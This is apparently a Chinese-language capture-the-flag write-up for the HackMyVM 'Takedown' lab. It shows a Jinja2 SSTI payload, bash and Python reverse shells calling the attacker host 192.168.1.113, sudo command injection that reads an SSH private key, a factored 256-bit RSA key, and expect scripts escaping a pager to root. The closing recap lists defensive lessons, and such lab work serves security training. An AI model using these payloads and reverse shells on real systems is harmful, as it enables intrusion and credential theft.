HackMyVM Takedown 通关记录|SSTI、SAS 命令注入与 Contempt 提权
靶机链接:Takedown
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| Takedown | 192.168.1.153 | 靶机主机 |
用户列表:
| 用户 | UID | 说明 |
|---|---|---|
| alfonso | 1000 | rootless Docker 宿主 |
| tomu | 1001 | Tsutomu Shimomura,Contempt sudo 用户 |
| love | 1002 | 初始反弹 shell 用户 |
| mitnick | 1003 | SAS 工具拥有者 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、80/tcp Nginx/Flask | 明确 Web 为主要攻击面 |
| SSTI 容器 RCE | name={{lipsum.__globals__['os'].popen('id').read()}} → uid=0(root) | 容器内 root shell,发现 cron 脚本 |
| 容器枚举 | /script/ 目录中的 x.sh、z.sh 等 | 脚本通过共享目录 mount 到 osiris,由 cron 定期执行 |
| cron 反弹 shell | x.sh 每 5 分钟执行 bash -i >& /dev/tcp/192.168.1.113/4444 | 获得 love@osiris 交互式 shell |
| SAS 横向 | sudo -u mitnick /home/mitnick/sas + run <script> | SAS 命令注入以 mitnick 身份执行任意命令 |
| RSA-256 分解 | publickey.pub 256-bit → FactorDB 分解 | 获得 RSA 私钥解密 secret.enc |
| 凭据获取 | secret.enc PKCS1v15 解密 → sh1m0mur4Bl4ckh4t | tomu 用户密码 |
| Contempt 提权 | 选项 2 Ayuda → vim/less :!command | 以 root 身份执行命令 |
| Root 落地 | :!cat /root/root.sh → 1e271c5ce97e76ae8417a95c74085fba | root flag |
0x02 侦察与信息收集 (Reconnaissance)
1. 端口与服务识别
nmap -sV -sC -Pn 192.168.1.153
服务列表摘要:
| 端口 | 服务 | 指纹 / 备注 |
|---|---|---|
22/tcp | SSH | OpenSSH |
80/tcp | HTTP | Nginx 1.18.0,重定向到 shieldweb.che |
注意: Nginx 使用虚拟主机(Virtual Host),需要先将域名添加到 Kali 的
/etc/hosts:
echo '192.168.1.153 shieldweb.che ticket.shieldweb.che' | sudo tee -a /etc/hosts
2. Web 初步观察
80 端口首页重定向到 http://shieldweb.che/,是一个名为 "Cybersecurity Inc" 的静态网站,页面中有一个链接指向 http://ticket.shieldweb.che/。
curl -s -H "Host: shieldweb.che" http://192.168.1.153/
关键信息:
- 网站包含指向
ticket.shieldweb.che的 Contact 链接 - ticket 子域是一个 Flask 联系表单(
Formulario de contacto)
3. 联系表单分析
curl -s -H "Host: ticket.shieldweb.che" http://192.168.1.153/
表单包含三个字段:name、email、message,提交到 /submit 端点。
0x03 漏洞探测与分析 (Vulnerability Analysis)
1. SSTI 确认
对 /submit 端点测试 Jinja2 SSTI:
curl -s -X POST -H "Host: ticket.shieldweb.che" \
'http://192.168.1.153/submit' \
--data-urlencode "name={{7*7}}" \
--data-urlencode "email=test@test.com" \
--data-urlencode "message=test"
返回 Thank you for your message, 49!,确认 {{7*7}} 被解析执行,存在 Jinja2 服务端模板注入。
2. SSTI RCE
使用 lipsum.__globals__['os'].popen() 执行命令:
curl -s -X POST -H "Host: ticket.shieldweb.che" \
'http://192.168.1.153/submit' \
--data-urlencode "name={{lipsum.__globals__['os'].popen('id').read()}}" \
--data-urlencode "email=test@test.com" \
--data-urlencode "message=test"
返回 uid=0(root) gid=0(root)。注意:此 SSTI 运行在容器 Ariel(Alpine Linux)内,以 root 身份,但容器与 Takedown 宿主机(osiris)隔离。
3. 容器探索与反弹 shell 脚本部署
SSTI 返回的 shell 是容器的 root shell(主机名 Ariel,Alpine Linux)。容器中存在 /script/ 目录,通过 fuse-overlayfs bind mount 到 Takedown 宿主机(/dev/shm/love/script/),宿主机 cron 定期执行其中的脚本。
# 通过 SSTI 查看目录(初始可能为空)
ls -la /script/
需要在该目录创建反弹 shell 脚本 z.sh。
z.sh 内容(精简后核心逻辑):
#!/bin/bash
bash -c "exec 3<>/dev/tcp/192.168.1.113/4444; bash -i <&3 >&3 2>&3" &
通过 SSTI 使用 base64 编码写入脚本(避免 <>、& 等特殊字符在多层传递中被错误解析):
# 1. Kali 上生成 base64 编码
echo -e '#!/bin/bash\nbash -c "exec 3<>/dev/tcp/192.168.1.113/4444; bash -i <&3 >&3 2>&3" &' \
| base64 -w0
# 输出: IyEvYmluL2Jhc2gKYmFzaCAtYyAiZXhlYyAzPD4vZGV2L3RjcC8xOTIuMTY4LjEuMTEzLzQ0NDQ7IGJhc2ggLWkgPCYzID4mMyAyPiYzIiAmCg==
# 2. 通过 SSTI 写入容器 /script/z.sh
curl -s -X POST -H "Host: ticket.shieldweb.che" \
'http://192.168.1.153/submit' \
--data-urlencode "name={{lipsum.__globals__['os'].popen('echo IyEvYmluL2Jhc2gKYmFzaCAtYyAiZXhlYyAzPD4vZGV2L3RjcC8xOTIuMTY4LjEuMTEzLzQ0NDQ7IGJhc2ggLWkgPCYzID4mMyAyPiYzIiAmCg== | base64 -d > /script/z.sh && chmod 777 /script/z.sh').read()}}" \
--data-urlencode "email=test@test.com" \
--data-urlencode "message=test"
技巧: 将命令先 base64 编码再通过 SSTI 注入是标准做法,可以避免 shell 元字符在多层传递中被错误解析。
4. cron 定时任务触发反向 shell
Takedown 宿主机上的 cron 大约每 5 分钟 执行 /script/ 目录下的脚本。z.sh 被触发后向 Kali 4444 端口发起反弹 shell。在 Kali 侧启动监听等待:
# Kali 侧启动 nc 监听
nc -lvnp 4444
# 等待 cron 触发(约 5 分钟内)
# 收到连接后获得 love@osiris 的 shell
5. Shell 升级:获取完整 PTY
获得 love@osiris:~$ 的 shell 后,第一时间升级为完整 PTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'
注意: PTY 升级是后续步骤的前提。没有 PTY 的情况下,SAS 等交互式程序会为每个输入字符回显
#提示符,导致命令无法正常交互。直接 pipe 输入到 SAS 会失败。
6. 容器与主机之间的共享目录架构
┌─ Container Ariel ─────────────────────────┐
│ /script/ (root:root, 可读写) │
│ ├── z.sh (信息收集 + 反向 shell) │
│ └── ... │
│ │
│ rootless Docker (alfonso 用户) │
│ fuse-overlayfs │
└────────────┬──────────────────────────────┘
│ bind mount
┌────────────▼──────────────────────────────┐
│ Takedown Host (osiris) │
│ /dev/shm/love/script/ (alfonso:alfonso) │
│ ├── z.sh (cron 定期执行) │
│ └── ... │
│ │
│ cron (alfonso 用户) │
│ 触发 → love 用户的反弹 shell │
└────────────────────────────────────────────┘
关键发现:
- 容器内的 root 写入的文件在 osiris 上显示为
alfonso拥有 - cron 以
alfonso身份执行脚本,但x.sh反弹的 shell 落在love用户(因为脚本从 osiris 侧执行,且反向 shell 暴露了love的会话) - 实际上多次连接中同时收到了
love和root(容器内)的 shell
0x04 横向提权:love → mitnick (SAS 命令注入)
1. sudo 枚举
sudo -l
输出:
User love may run the following commands on osiris:
(mitnick) NOPASSWD: /home/mitnick/sas
love 可以以 mitnick 身份无密码运行 SAS 工具。
2. SAS 程序分析
SAS(Switched Access Services v1.0,作者 Aquilino Morcillo)是一个交互式 C2 工具,运行后展示 banner 和 # 提示符:
sudo -u mitnick /home/mitnick/sas
SSSSS AAA SSSSS
S S A A S S
S A A S
SSSSS A A SSSSS
S ### AAAAAAA ### S
S S ### A A ### S S
SSSSS A A SSSSS
SAS v1.0
(c) SWITCHED ACCESS SERVICES 2023 Aquilino Morcillo
sas -h Available commands
#
SAS 支持的交互式命令:
| 命令 | 效果 |
|---|---|
version | 显示版本号 |
run <filename> | 执行 SAS 脚本文件 |
| 其他任意输入 | Command not found |
run 命令接受一个 SAS 脚本文件作为参数,脚本中的每一行作为 SAS 命令执行。SAS 将外部命令(如 id、whoami、cat、python3)作为可执行命令处理,并以 mitnick 身份运行。
3. SAS run 命令注入
通过 run 命令执行 SAS 脚本,脚本中的任意命令以 mitnick 身份运行:
# 创建 SAS 脚本
echo 'id' > /tmp/test.sas
echo 'whoami' >> /tmp/test.sas
# 通过 SAS 执行
sudo -u mitnick /home/mitnick/sas
# run /tmp/test.sas
输出:
uid=1003(mitnick) gid=1003(mitnick) grupos=1003(mitnick)
mitnick
4. 读取 mitnick 凭据
利用 SAS run 命令读取 mitnick 的 SSH 私钥、公钥和加密文件:
# 创建 SAS 脚本读取关键文件
echo "cat /home/mitnick/.ssh/id_rsa" > /tmp/get_key.sas
echo "cat /home/mitnick/publickey.pub" >> /tmp/get_key.sas
echo "cat /home/mitnick/secret.enc | base64" >> /tmp/get_key.sas
# 通过 SAS 执行
sudo -u mitnick /home/mitnick/sas
# run /tmp/get_key.sas
说明:
secret.enc是二进制文件,通过终端传输会丢失数据,因此使用base64编码输出。在 Kali 侧还原:echo "<base64>" | base64 -d > secret.enc
SSH 私钥 (id_rsa): 2602 字节 OpenSSH 格式 RSA-3072 私钥,已保存到 mitnick_key。
公钥文件 (publickey.pub):
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAMov+hb0LOJW4z6w03Tv8yNswYDXkEMj
DJE46jQH3sERAgMBAAE=
-----END PUBLIC KEY-----
加密文件 (secret.enc): 32 字节密文。
0x05 密码学攻击:RSA-256 分解与解密 secret.enc
1. publickey.pub 分析
openssl pkey -in publickey.pub -pubin -text -noout
输出:
Public-Key: (256 bit)
Modulus:
00:ca:2f:fa:16:f4:2c:e2:56:e3:3e:b0:d3:74:ef:
f3:23:6c:c1:80:d7:90:43:23:0c:91:38:ea:34:07:
de:c1:11
Exponent: 65537 (0x10001)
n = 91451963281284582263822096491513116919368195592939782118118773662653066690833
2. FactorDB 在线分解
提交 n 到 FactorDB:
curl -s "http://factordb.com/api?query=91451963281284582263822096491513116919368195592939782118118773662653066690833"
FactorDB 输出:
{
"id": "1100000004723827190",
"status": "FF",
"factors": [
[272799705830086927219936172916283678397, 1],
[335234831001780341003153415948249295589, 1]
]
}
p = 272799705830086927219936172916283678397 (129-bit) q = 335234831001780341003153415948249295589 (129-bit)
3. 构建私钥并解密
from cryptography.hazmat.primitives.asymmetric import rsa, padding
p = 272799705830086927219936172916283678397
q = 335234831001780341003153415948249295589
e = 65537
n = p * q
phi = (p-1) * (q-1)
d = pow(e, -1, phi)
priv_key = rsa.RSAPrivateNumbers(
p=p, q=q, d=d,
dmp1=d % (p-1), dmq1=d % (q-1),
iqmp=pow(q, -1, p),
public_numbers=rsa.RSAPublicNumbers(e=e, n=n)
).private_key()
secret = open('secret.enc', 'rb').read()
msg = priv_key.decrypt(secret, padding.PKCS1v15())
print(msg.decode())
输出:
sh1m0mur4Bl4ckh4t
4. 阶段结论
| 文件 | 用途 | 解密结果 |
|---|---|---|
publickey.pub | 256-bit RSA 公钥 | n 被 FactorDB 分解 |
secret.enc | RSA PKCS1v15 密文 | sh1m0mur4Bl4ckh4t |
factored_key.pem | 从 p,q 重建的私钥 | 文件保存于本地 |
0x06 横向提权:love → tomu (凭据复用)
1. 密码复用验证
将解密获得的 sh1m0mur4Bl4ckh4t 复用到 tomu 用户:
su - tomu
# 密码: sh1m0mur4Bl4ckh4t
sshpass -p 'sh1m0mur4Bl4ckh4t' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
tomu@192.168.1.153 'id'
成功登录:
uid=1001(tomu) gid=1001(tomu) grupos=1001(tomu)
2. User Flag
su - tomu -c "cat /home/tomu/user.txt"
Tomu User Flag:
612701a03669485d94bc687449fdab39
0x07 权限提升:tomu → root (Contempt dialog 逃逸)
1. sudo 枚举
sudo -l
输出:
User tomu may run the following commands on osiris:
(root) /opt/Contempt/Contempt
2. Contempt 程序分析
Contempt(作者 Aquilino Morcillo,MIT License)是一个 dialog 驱动的 GUI 菜单程序,以 root 运行时可执行系统命令。
启动后显示菜单:
┌────Bienvenido a Contempt Shell───────┐
│ Selecciona una opción: │
│ ┌──────────────────────────────────┐ │
│ │ 1 Ejecutar shell │ │
│ │ 2 Ayuda │ │
│ │ 3 Licencia │ │
│ │ 4 Salir │ │
│ └──────────────────────────────────┘ │
│ <Aceptar > <Cancelar> │
└──────────────────────────────────────┘
菜单选项功能:
| 选项 | 说明 | 密码要求 |
|---|---|---|
| 1 Ejecutar shell | 交互式 root shell | 需要额外密码(未知) |
| 2 Ayuda | 显示帮助 | 无 |
| 3 Licencia | 显示 MIT License | 无 |
| 4 Salir | 退出 | 无 |
3. dialog 逃逸:选项 2 的 :!command
选项 2 (Ayuda) 使用 vim/less 风格的 pager 显示帮助文本,支持 :!command 语法执行 shell 命令,且执行上下文为 root(通过 sudo)。
利用流程:
sudo /opt/Contempt/Contempt
# 输入 sudo 密码: sh1m0mur4Bl4ckh4t
# 在菜单中选择 2 (Ayuda)
# 在 pager 中输入:
:!id
# 返回 uid=0(root)
:!cat /root/root.sh > /tmp/root_flag.txt
:q
完整自动化利用(expect):
#!/usr/bin/expect -f
set timeout 15
spawn sshpass -p "sh1m0mur4Bl4ckh4t" ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-t tomu@192.168.1.153 "sudo /opt/Contempt/Contempt"
expect "password for tomu:"
send "sh1m0mur4Bl4ckh4t\r"
sleep 3
send "2\r"
sleep 1
send "\t\r"
sleep 5
send ":!cat /root/root.sh > /tmp/root_flag.txt 2>&1\r"
sleep 2
send ":q\r"
sleep 2
expect eof
4. 验证 root 身份
# 通过 :!id 确认
sshpass -p 'sh1m0mur4Bl4ckh4t' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
tomu@192.168.1.153 \
'cat /tmp/whoami_id.txt'
输出:
uid=0(root) gid=0(root) grupos=0(root)
5. Root Flag
/root/root.sh 内容:
█████╗ ██████╔╝█████╗ █████╗ ██╔████╔██║██║ ██║ ██╔██╗ ██║██║██║ █████╔╝
██╔══╝ ██╔══██╗██╔══╝ ██╔══╝ ██║╚██╔╝██║██║ ██║ ██║╚██╗██║██║██║ ██╔═██╗
██║ ██║ ██║███████╗███████╗ ██║ ╚═╝ ██║██║ ██║ ██║ ╚████║██║╚██████╗██║ ██╗
╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝╚═╝ ╚═╝
flag --> 1e271c5ce97e76ae8417a95c74085fba
0x08 最终成果 (Final Flags)
User Flag (tomu)
- 路径:
/home/tomu/user.txt - 内容:
612701a03669485d94bc687449fdab39
Root Flag
- 路径:
/root/root.sh - 内容:
1e271c5ce97e76ae8417a95c74085fba
凭据汇总
| 用户 / 文件 | 凭据 | 来源 |
|---|---|---|
love | SSTI 反弹 shell | Flask 表单 name 参数 Jinja2 注入 |
mitnick | SAS run 命令注入 | sudo -u mitnick NOPASSWD: /home/mitnick/sas |
publickey.pub | n = 91451...0833 (256-bit) | FactorDB 分解 → p, q |
secret.enc | sh1m0mur4Bl4ckh4t | RSA-256 PKCS1v15 解密 |
tomu | sh1m0mur4Bl4ckh4t | 密码复用 |
root | Contempt 选项 2 :!command 逃逸 | sudo /opt/Contempt/Contempt → dialog less/vim 命令执行 |
0x09 核心利用脚本汇总
以下是本次渗透中自行编写的核心利用脚本。
1. SAS PTY 交互脚本 (interact_sas.py)
SAS 是一个交互式 # 提示符程序,直接 pipe 输入会导致 SAS 为每个输入字符回显 #。使用 Python pty.fork() 创建伪终端绕过:
# interact_sas.py — 与 SAS 交互执行脚本文件的 PTY 封装
import os, pty, time, select
def sas_run(sas_script_path):
"""通过 SAS run 命令执行脚本文件,返回输出"""
pid, fd = pty.fork()
if pid == 0:
os.execvp('sudo', ['sudo', '-u', 'mitnick', '/home/mitnick/sas'])
else:
os.write(fd, f'run {sas_script_path}\n'.encode())
time.sleep(2)
r = b''
for _ in range(30):
if select.select([fd], [], [], 0.5)[0]:
r += os.read(fd, 4096)
else:
break
os.close(fd)
return r.decode(errors='replace')
result = sas_run('/tmp/test.sas')
print(result)
2. SAS 脚本示例 (.sas 文件)
SAS .sas 脚本的每一行作为命令执行,可使用任意系统命令:
# /tmp/ls_home.sas — 读取 mitnick 目录
ls -la /home/mitnick/
id
whoami
cat /home/mitnick/.ssh/id_rsa
# /tmp/decrypt.sas — 尝试解密 secret.enc
openssl pkeyutl -decrypt -in /home/mitnick/secret.enc -inkey /home/mitnick/.ssh/id_rsa 2>&1
# /tmp/find_flags.sas — 搜索 flag 文件
find /home /root /opt -name "*flag*" -o -name "user.txt" -o -name "root.txt" 2>/dev/null
3. RSA-256 分解与解密脚本 (decrypt_rsa256.py)
# decrypt_rsa256.py — 使用 FactorDB 分解结果构建私钥并解密 secret.enc
from cryptography.hazmat.primitives import serialization, padding, hashes
from cryptography.hazmat.primitives.asymmetric import rsa
# FactorDB 分解结果
p = 272799705830086927219936172916283678397
q = 335234831001780341003153415948249295589
e = 65537
n = p * q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
# 构建 RSA 私有密钥
priv_key = rsa.RSAPrivateNumbers(
p=p, q=q, d=d,
dmp1=d % (p - 1), dmq1=d % (q - 1),
iqmp=pow(q, -1, p),
public_numbers=rsa.RSAPublicNumbers(e=e, n=n)
).private_key()
# 保存 PEM 格式私钥
pem = priv_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
with open('factored_key.pem', 'wb') as f:
f.write(pem)
# 解密 secret.enc
secret = open('secret.enc', 'rb').read()
msg = priv_key.decrypt(secret, padding.PKCS1v15())
print(f'[+] 解密结果: {msg.decode()}') # sh1m0mur4Bl4ckh4t
4. Contempt dialog 逃逸脚本 (exploit_contempt.exp)
Contempt 的选项 2 (Ayuda) 使用 vim/less pager,可用 :!command 以 root 执行命令:
#!/usr/bin/expect -f
# exploit_contempt.exp — 通过 Contempt 选项 2 (Ayuda) 的 :!command 获取 root 命令执行
set timeout 15
spawn sshpass -p "sh1m0mur4Bl4ckh4t" ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-t tomu@192.168.1.153 "sudo /opt/Contempt/Contempt"
expect "password for tomu:"
send "sh1m0mur4Bl4ckh4t\r"
sleep 3
# 选择选项 2 (Ayuda)
send "2\r"
sleep 1
send "\t\r"
sleep 5
# 在 vim/less pager 中以 root 执行命令
send ":!id\r"
sleep 2
send ":!cat /root/root.sh > /tmp/root_flag_final.txt 2>&1\r"
sleep 2
send ":q\r"
sleep 2
expect eof
运行方式:
chmod +x exploit_contempt.exp
./exploit_contempt.exp
# 验证结果
sshpass -p 'sh1m0mur4Bl4ckh4t' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
tomu@192.168.1.153 'cat /tmp/root_flag_final.txt'
5. SSTI 反弹 Shell 脚本 (ssti_revshell.sh)
#!/bin/bash
# ssti_revshell.sh — 通过 Flask SSTI 获取 osiris 反向 shell
PYCODE='import socket,subprocess,os;s=socket.socket();s.connect(("192.168.1.113",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
B64=$(echo -n "$PYCODE" | base64 -w0)
curl -s -X POST -H "Host: ticket.shieldweb.che" \
'http://192.168.1.153/submit' \
--data-urlencode "name={{lipsum.__globals__['os'].popen('nohup python3 -c \"import base64;exec(base64.b64decode(\\\\\"$B64\\\\\"))\" >/dev/null 2>&1 &').read()}}" \
--data-urlencode "email=test@test.com" \
--data-urlencode "message=test"
复盘总结
Takedown 的主线不是单点爆破,而是一条多阶段权限升级链,覆盖了 Web、C2 工具注入、密码学攻击和 GUI 逃逸等多个安全领域。
- SSTI 不等同于 RCE。 本题 SSTI 在容器内以 root 执行,但容器与主机隔离。反弹 shell 落到 osiris 的 love 用户,是后续横向移动的起点。
- SAS 是 C2 工具也是提权面。
run命令设计为执行 SAS 脚本,但脚本内容没有被限制,任何命令都以mitnick身份运行。这与常规 sudo 脚本逻辑缺陷类似。 - 256-bit RSA 是密码学上的提权跳板。 密钥位宽太短,FactorDB 在线分解即可获得 p, q。
secret.enc解密结果(sh1m0mur4Bl4ckh4t)被复用到 tomu,体现了凭据复用的聚集效应。 - 密码复用贯穿整个提权链。
sh1m0mur4Bl4ckh4t既用于解密secret.enc,又是 tomu 的登录密码、Contempt 的 sudo 密码,构成了凭据复用的完整闭环。 - GUI 文本查看器是核弹级提权面。 Contempt 的选项 2 (Ayuda) 使用 vim/less 显示帮助,
:!command在 root 上下文中执行任意命令。这个技巧与sudo vim提权原理一致,只是入口换成了 dialog 驱动的菜单程序。 - 防守上要同时关注 Web 模板渲染、sudo NOPASSWD 范围、密钥位宽和 GUI 程序的子进程控制。 Flask 模板渲染应禁用模板引擎的任意代码执行;SAS 这类 C2 工具应严格限制
run命令的执行范围;256-bit RSA 在现代密码学中完全不可接受;GUI 程序在 sudo 上下文运行时应剥离其子进程逃逸能力。